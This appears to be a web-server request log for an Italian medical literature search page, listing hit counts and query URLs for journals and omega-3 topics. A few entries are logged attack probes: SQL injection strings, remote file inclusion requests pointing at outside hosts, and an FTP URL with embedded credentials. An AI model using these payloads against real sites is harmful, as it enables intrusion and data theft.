17: : 18-Ago-10 04:16: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (skin diseases [mesh] | dermatos* [all] | dermatit* [all] | psoria* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
17: : 17-Ago-10 21:10: /medasq.php?z=Endocrinology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
17: : 3-Set-10 15:32: /medasq.php?z=J+Am+Assoc+Lab+Anim+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 24-Ago-10 01:57: /medasq.php?z=Curr+Opin+Nephrol+Hypertens&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 21-Lug-10 21:05: /medasq.php?z=Psychopharmacology+(Berl)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 12-Ago-10 11:14: /medasq.php?z=(j+immunol+[ta]+OR+j+allergy+clin+immunol+[ta]+OR+clin+exp+allergy+[ta]+OR+allergy+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&am
17: : 5-Set-10 08:18: /medasq.php?z=Biochemistry&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Journals&free=
17: : 25-Ago-10 20:57: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (diabetes mellitus [mesh] | diab* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
17: : 17-Ago-10 21:31: /medasq.php?z=Mol+Cell+Endocrinol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 21-Lug-10 14:15: /medasq.php?abstract=0&quanti=100&highlight=2
17: : 9-Lug-10 23:54: /medasq.php?z=Stat+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 5-Set-10 18:06: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=180&daevidenziare=&azione=Show&free=
17: : 6-Set-10 06:30: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1120&daevidenziare=&azione=Show&free=
17: : 7-Set-10 07:49: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
17: : 24-Lug-10 21:08: /medasq.php?z=Arq+Bras+Endocrinol+Metabol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 31-Ago-10 22:18: /medasq.php?z=J+Carcinog&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 14-Ago-10 22:14: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (eye diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
17: : 21-Lug-10 13:46: /medasq.php?abstract=0&quanti=10&highlight=1
17: : 19-Ago-10 11:03: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (eye diseases [mesh] | eye disease* [all] | eye disorder* [all] | visual disease* [all] | visual disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Show&free=
17: : 6-Set-10 14:52: /medasq.php?z=Curr+Diab+Rep&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 30-Ago-10 02:28: /medasq.php?z=BMC+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 3-Set-10 11:21: /medasq.php?z=Pharmacology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
17: : 13-Lug-10 13:09: /medasq.php?z=Anim+Reprod+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 19-Ago-10 09:31: /medasq.php?z=J+Fam+Health+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 17-Ago-10 01:15: /medasq.php?z=Exp+Aging+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 1-Lug-10 14:28: /medasq.php?z=(j urol [ta] OR prostate [ta] OR urol clin north am [ta] OR urology [ta] OR genitourin med [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
17: : 1-Set-10 00:09: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (neoplasms [mesh] | neoplas* [all] | tumor* [all] | tumour* [all] | cancer* [all] | carcin* [all] | sarcom* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
17: : 12-Ago-10 07:35: /medasq.php?z=(diabetes+[ta]+OR+j+bone+miner+res+[ta]+OR+diabetologia+[ta]+OR+j+clin+endocrinol+metab+[ta]+OR+diabetes+care+[ta]+OR+clin+endocrinol+oxf+[ta]+OR+psychoneuroendocrinology+[ta]+OR+diabetes+res+clin+pract+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+co
16: : 12-Ago-10 11:14: /medasq.php?z=(j+invest+dermatol+[ta]+OR+arch+dermatol+[ta]+OR+br+j+dermatol+[ta]+OR+j+am+acad+dermatol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesia
16: : 5-Set-10 17:41: /medasq.php?abstract=0&quanti=1&highlight=1&daevidenziare=&dovesiamo=0&azione=Show&z=3563772[uid][uid]
16: : 30-Ago-10 11:06: /medasq.php?z=ftp://mariap_zxq:bea212@mariap.zxq.net/TestMail.php?
16: : 17-Ago-10 22:52: /medasq.php?z=Fortschr+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 12-Lug-10 01:11: /medasq.php?z=Ross+Fiziol+Zh+Im+I+M+Sechenova&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 9-Ago-10 21:55: /medasq.php?z=J+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals' and user=0--
16: : 26-Mag-10 00:49: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=480&daevidenziare=&azione=Show&free=
16: : 4-Lug-10 21:22: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=620&daevidenziare=&azione=Show&free=
16: : 12-Ago-10 11:13: /medasq.php?z=(arch+ophthalmol+[ta]+OR+ophthalmology+[ta]+OR+am+j+ophthalmol+[ta]+OR+br+j+ophthalmol+[ta]+OR+eye+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare
16: : 6-Set-10 01:32: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1400&daevidenziare=&azione=Show&free=
16: : 16-Ago-10 08:00: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (nervous system diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
16: : 2-Lug-10 06:51: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(diabetes mellitus+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show HTTP/1.1
16: : 9-Ago-10 21:55: /medasq.php?z=J+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals' and user=0 and '1'='1
16: : 12-Ago-10 07:36: /medasq.php?z=(j+infect+dis+[ta]+OR+infect+immun+[ta]+OR+vaccine+[ta]+OR+infect+control+hosp+epidemiol+[ta]+OR+am+j+trop+med+hyg+[ta]+OR+pediatr+infect+dis+j+[ta]+OR+sex+transm+dis+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systemati
16: : 17-Ago-10 09:23: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
16: : 26-Lug-10 01:23: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=480&daevidenziare=&azione=Show&free=
16: : 12-Ago-10 07:34: /medasq.php?z=(blood+[ta]+OR+thromb+haemost+[ta]+OR+transfusion+[ta]+OR+br+j+haematol+[ta]+OR+leukemia+[ta]+OR+semin+hematol+[ta]+OR+eur+j+haematol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1
16: : 21-Mar-10 19:07: /medasq.php?z=http://zbajj.gov.cn/autobox.txt?
16: : 17-Ago-10 01:58: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (inflammatory bowel diseases [mesh] | inflamm* bowel [all] | colitis ulcer* [all] | ulcer* colitis [all] | crohn [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
16: : 12-Ago-10 11:15: /medasq.php?z=(radiology+[ta]+OR+eur+j+nucl+med+[ta]+OR+AJR+Am+J+Roentgenol+[ta]+OR+radiol+clin+north+am+[ta]+OR+br+j+radiol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&d
16: : 25-Ago-10 20:48: /medasq.php?z=(j orthop res [ta] OR phys ther [ta] OR spine [ta] OR osteoporos int [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
16: : 12-Ago-10 11:13: /medasq.php?z=(br+j+gen+pract+[ta]+OR+j+am+board+fam+pract+[ta]+OR+arch+fam+med+[ta]+OR+can+fam+physician+[ta]+OR+j+fam+pract+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0
16: : 12-Ago-10 11:13: /medasq.php?z=(hum+reprod+[ta]+OR+fertil+steril+[ta]+OR+am+j+reprod+immunol+[ta]+OR+contraception+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&a
16: : 12-Ago-10 07:35: /medasq.php?z=(circulation+[ta]+OR+j+am+coll+cardiol+[ta]+OR+arterioscler+thromb+vasc+biol+[ta]+OR+hypertension+[ta]+OR+thromb+haemost+[ta]+OR+am+j+cardiol+[ta]+OR+br+heart+j+[ta]+OR+atherosclerosis+[ta]+OR+j+vasc+surg+[ta]+OR+angiology+[ta]+OR+int+angiol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guidelin
16: : 19-Ago-10 05:41: /medasq.php?z=Exp Pathol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
16: : 26-Ago-10 01:08: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hyperlipidemia [mesh] | hyperlipid* [all] | hyperlipem* [all] | hyperlipaem* [all] | hypercholester* [all] | hypertriglycerid* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
16: : 17-Ago-10 00:28: /medasq.php?z=Z+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 19-Lug-10 12:01: /medasq.php?z=Semin+Neonatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 18-Ago-10 21:13: /medasq.php?z=Lakartidningen&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 27-Ago-10 14:09: /medasq.php?z=Ann+Dermatol+Venereol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 18-Ago-10 21:15: /medasq.php?z=Hautarzt&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 17-Ago-10 01:07: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (pregnancy [majr] | pregnancy complications [majr] | lactation [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
16: : 13-Ago-10 18:57: /medasq.php?z=Mol+Genet+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 7-Set-10 23:48: /medasq.php?z=Toxicol+Ind+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 16-Ago-10 09:08: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hypertension [mesh] | hypertens* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
16: : 13-Lug-10 13:38: /medasq.php?z=Adv+Shock+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 8-Ago-10 19:55: /medasq.php?z=Circ+Cardiovasc+Imaging&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 2-Mag-10 02:48: /medasq.php?z=Acta+Physiol+Pharmacol+Latinoam&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 31-Ago-10 07:49: /medasq.php?z=(fatty acids%252C omega 3 %255Bmesh%255D %257C omega-3 %255Ball%255D %257C eicosapentaen* %255Ball%255D %257C docosahexaen* %255Ball%255D) &abstract=1&quanti=20&highlight=0&dovesiamo=6780&daevidenziare=&azione=Show&free=
16: : 1-Set-10 01:23: /medasq.php?z=Arch+Bronconeumol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 11-Apr-10 08:22: /medasq.php?z=http://211.245.23.155:2666/index.html?
16: : 15-Ago-10 19:33: /medasq.php?z=Neuroscience&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
16: : 12-Ago-10 07:36: /medasq.php?z=(j+am+soc+nephrol+[ta]+OR+kidney+int+[ta]+OR+am+j+kidney+dis+[ta]+OR+nephron+[ta]+OR+clin+nephrol+[ta]+OR+nephrol+dial+transplant+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=2
16: : 12-Ago-10 14:47: /medasq.php?z=(am+j+respir+crit+care+med+[ta]+OR+eur+respir+j+[ta]+OR+thorax+[ta]+OR+chest+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azio
16: : 18-Ago-10 16:13: /medasq.php?z=J+Gerontol+A+Biol+Sci+Med+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 17-Ago-10 01:19: /medasq.php?z=J+Clin+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 21-Ago-10 16:42: /medasq.php?z=J+Pharm+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 12-Ago-10 14:48: /medasq.php?z=(anesthesiology+[ta]+OR+anesth+analg+[ta]+OR+br+j+anaesth+[ta]+OR+anaesthesia+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azi
16: : 18-Ago-10 02:29: /medasq.php?z=Pain+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 12-Ago-10 11:13: /medasq.php?z=(am+j+obstet+gynecol+[ta]+OR+obstet+gynecol+[ta]+OR+br+j+obstet+gynaecol+[ta]+OR+acta+obstet+gynecol+scand+[ta]+OR+j+reprod+med+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20
16: : 6-Set-10 08:03: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1360&daevidenziare=&azione=Show&free=
16: : 28-Ago-10 01:22: /medasq.php?z=Can J Ophthalmol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
16: : 9-Ago-10 21:55: /medasq.php?z=J+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals and user=0 and 1=1
16: : 12-Ago-10 07:36: /medasq.php?z=(j+pediatr+[ta]+OR+pediatr+res+[ta]+OR+pediatrics+[ta]+OR+arch+dis+child+[ta]+OR+clin+pediatr+phila+[ta]+OR+j+pediatr+gastroenterol+nutr+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&q
16: : 12-Ago-10 11:15: /medasq.php?z=(j+urol+[ta]+OR+prostate+[ta]+OR+urol+clin+north+am+[ta]+OR+urology+[ta]+OR+genitourin+med+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&do
16: : 12-Ago-10 07:36: /medasq.php?z=(j+natl+cancer+inst+[ta]+OR+cancer+res+[ta]+OR+j+clin+oncol+[ta]+OR+br+j+cancer+[ta]+OR+int+j+cancer+[ta]+OR+cancer+treat+rev+[ta]+OR+breast+cancer+res+treat+[ta]+OR+cancer+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR
16: : 29-Ago-10 04:34: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=400&daevidenziare=&azione=Journals&free=
16: : 17-Ago-10 21:46: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (autoimmune diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
16: : 12-Ago-10 07:34: /medasq.php?z=(ann+surg+[ta]+OR+j+vasc+surg+[ta]+OR+arch+surg+[ta]+OR+surgery+[ta]+OR+am+j+surg+[ta]+OR+br+j+surg+[ta]+OR+j+am+coll+surg+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&a
16: : 5-Set-10 00:26: /medasq.php?z=J+Cell+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 18-Ago-10 22:53: /medasq.php?z=J+Intern+Med+Suppl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
16: : 6-Set-10 04:57: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1380&daevidenziare=&azione=Show&free=
16: : 9-Ago-10 21:55: /medasq.php?z=J+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals and user=0--
16: : 25-Ago-10 20:46: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(diabetes+mellitus+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
16: : 12-Ago-10 07:35: /medasq.php?z=(gastroenterology+[ta]+OR+hepatology+[ta]+OR+gut+[ta]+OR+j+hepatol+[ta]+OR+am+j+gastroenterol+[ta]+OR+eur+j+gastroenterol+hepatol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=2
15: : 15-Ago-10 06:37: /medasq.php?z=(ann emerg med [ta] OR am j emerg med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
15: : 21-Ago-10 08:00: /medasq.php?z=J+Pediatr&abstract=1&quanti=20&highlight=0&daevidenziare=...
15: : 13-Ago-10 18:57: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 21-Ago-10 17:06: /medasq.php?z=Ann+Epidemiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 14-Ago-10 05:34: /medasq.php?z=Basic+Res+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 24-Ago-10 20:32: /medasq.php?z=Int+J+Colorectal+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 21-Ago-10 00:25: /medasq.php?z=Neurobiol+Aging&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 7-Set-10 06:07: /medasq.php?z=Gastroenterology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
15: : 6-Set-10 11:02: /medasq.php?z=Photochem+Photobiol+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 14-Ago-10 09:58: /medasq.php?z=J+Cardiopulm+Rehabil+Prev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 1-Set-10 16:35: /medasq.php?z=Anal+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 31-Lug-10 23:37: /medasq.php?z=Biochemistry&abstract=1&quanti=20&highlight=0&dovesiamo=320&daevidenziare=&azione=Journals&free=
15: : 21-Lug-10 05:42: /medasq.php?abstract=0&quanti=200&highlight=0
15: : 1-Set-10 16:35: /medasq.php?z=Int+Immunopharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 5-Set-10 10:09: /medasq.php?z=Biotechnol+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 18-Ago-10 11:36: /medasq.php?z=Endocrinology&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
15: : 22-Lug-10 02:38: /medasq.php?z=Biochemistry&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
15: : 9-Lug-10 18:02: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=360&daevidenziare=&azione=Journals&free=
15: : 5-Set-10 17:41: /medasq.php?abstract=0&quanti=1&highlight=1&daevidenziare=&dovesiamo=0&azione=Show&z=3563772[uid]
15: : 7-Set-10 08:10: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
15: : 16-Lug-10 06:30: /medasq.php?z=J+Pediatr+(Rio+J)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 15-Ago-10 19:33: /medasq.php?z=Nature&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
15: : 19-Lug-10 05:17: /medasq.php?z=Clin+Perinatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
